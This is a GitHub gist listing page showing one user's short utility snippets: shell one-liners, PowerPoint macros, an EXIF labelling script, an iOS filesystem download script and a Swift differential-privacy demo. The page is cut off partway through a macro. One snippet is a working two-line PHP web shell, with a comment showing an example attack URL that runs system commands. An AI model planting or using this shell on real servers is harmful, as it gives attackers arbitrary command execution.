Skip to content

Instantly share code, notes, and snippets.

View joswr1ght's full-sized avatar

Joshua Wright joswr1ght

View GitHub Profile
dpkg-query -W --showformat='${Installed-Size;10}\t${Package}\n' | sort -k1,1n
@joswr1ght
joswr1ght / tinyphpshell.php
Created February 25, 2015 16:16
TinyPHPShell
# Attack with http://Site/shell.php?ctime=system&atime=ls+-la or even better a post.
@extract($_REQUEST);
@die ($ctime($atime));
@joswr1ght
joswr1ght / colorpromptnewline.txt
Created October 25, 2015 16:43
Colorful Terminal Prompt with Directory on a Separate Line
PS1="\[\033[01;34m\]\w\[\033[00m\]\n\$ "
@joswr1ght
joswr1ght / urldecode.py
Created January 20, 2016 13:23
URL decode from the command line
#!/usr/bin/env python
import sys, urllib as ul
print ul.unquote_plus(open(sys.argv[1]).read()),
@joswr1ght
joswr1ght / burn.sh
Created February 9, 2016 14:22
OS X Burn DVD
hdiutil burn foo.iso
@joswr1ght
joswr1ght / changeImageAspect.vbs
Last active February 22, 2016 18:16
Change Image Aspect - Fix broken image aspect change in PowerPoint after converting from 4:3 to 16:9
Sub changeImageAspect()
Dim oshp As Shape
Dim osld As Slide
' Stupid workaround for no getter for scaleWidth/scaleHeight
Dim sHeightOld As Variant
Dim sWidthOld As Variant
Dim tScaleWidth As Variant
Dim tScaleHeight As Variant
@joswr1ght
joswr1ght / labelimg.sh
Created May 12, 2016 20:08
Add EXIF data about camera stuff to a JPG destructively using exiftool and ImageMagick
#!/bin/bash
if [ $# -lt 1 ] ; then
echo "WARNING: Will overwrite source image!"
echo "$0 [images]"
exit
fi
for IMAGE in "$@"; do
LENS=`exiftool -T -lens $1`
@joswr1ght
joswr1ght / getios10beta1filesystem.sh
Last active June 23, 2016 11:51
Get iOS 10 Beta 1 File System (iPhone 6s device)
# Get iOS 10 Beta 1 File System (iPhone 6s device)
wget -q http://apple.co/28R9rhS -O ios10beta1-iphone6s.zip
mkdir ios10beta1
unzip -q ios10beta1-iphone6s.zip -d ios10beta1
cd ios10beta1
# wget this file for OSX systems
wget -q http://newosxbook.com/files/OTApack.tar
# or wget this file for Linux systems
wget -q http://www.willhackforsushi.com/code/OTApack.tar
tar xf OTApack.tar
@joswr1ght
joswr1ght / diffpriv.swift
Created June 24, 2016 19:03
Demonstrate possible collection of emoji use data with random sampling for differential privacy
import Cocoa; import Foundation
func randomBool() -> Bool {
return arc4random_uniform(2) == 0 ? true: false
}
// A list of all emojis (
let emojis = ["😀","😁","🙍🏾","🐺","🏃","🛂","💸","💰","💎","🌂","👝","👛","👜","🆔","🌀","🔻","💩"]
// A "collected list" of most used emojis
@joswr1ght
joswr1ght / pptx-replacenotesCRCR.vbs
Created June 25, 2016 13:21
PowerPoint macro to replace double empty paragraph markers
' Replace all double paragraph carriage returns in PowerPoint Notes.
' Also handles multiple Notes pages per slide.
Sub NotesFix()
Dim osld As Slide
Dim oshp As Shape
Dim strNotes As String
For Each osld In ActivePresentation.Slides
For Each oshp In osld.NotesPage.Shapes
If oshp.HasTextFrame Then
If oshp.TextFrame.HasText Then